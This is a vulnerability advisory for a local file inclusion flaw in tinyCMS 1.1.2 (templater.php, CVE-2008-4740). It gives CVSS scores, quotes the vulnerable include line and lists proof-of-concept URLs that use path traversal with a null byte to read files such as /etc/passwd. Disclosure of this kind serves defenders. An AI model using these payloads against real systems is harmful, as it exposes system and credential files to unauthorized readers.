tinyCMS 1.1.2 (templater.php) Local File Inclusion Vulnerability

2008-10-27 / 2008-10-28

Credit: cOndemned

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-4740

CWE: CWE-22

CVSS Base Score: 5.1/10

Impact Subscore: 6.4/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

&#239;&#187;&#191;########################################################################################
#
# Name : tinyCMS 1.1.2 (templater.php) Local File Inclusion Vulnerability
# Author : cOndemned [ Dark-Coders ]
# Greetz : Avantura, str0ke, ZaBeaTy, doctor, voo|doo, sid.psycho, irk4z
# Conditions : Magic quotes gpc = Off / Register Globals = On
# Other info : Prior versions probably are vulnerable too
#
########################################################################################
Source of /modules/ZZ_Templater/templater.php
[ ... ]
17. $ftemplatedir = 'templates/'.$config['template'].'/';
18. include('templates/'.$config['template'].'/data.php'); // <--- LFI
19. if($tdata['useblocks'] == 1)
[ ... ]
Proof of Concept :
http://[host]/[tinyCMS]/modules/ZZ_Templater/templater.php?config[template]=../../../../etc/passwd%00
http://[host]/[tinyCMS]/modules/ZZ_Templater/templater.php?config[template]=../../../../[local_file]%00
Jusf 4 fun

References:

http://1scripts.net/php-scripts/index.php?p=6

See this note in RAW Version

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tinyCMS 1.1.2 (templater.php) Local File Inclusion Vulnerability

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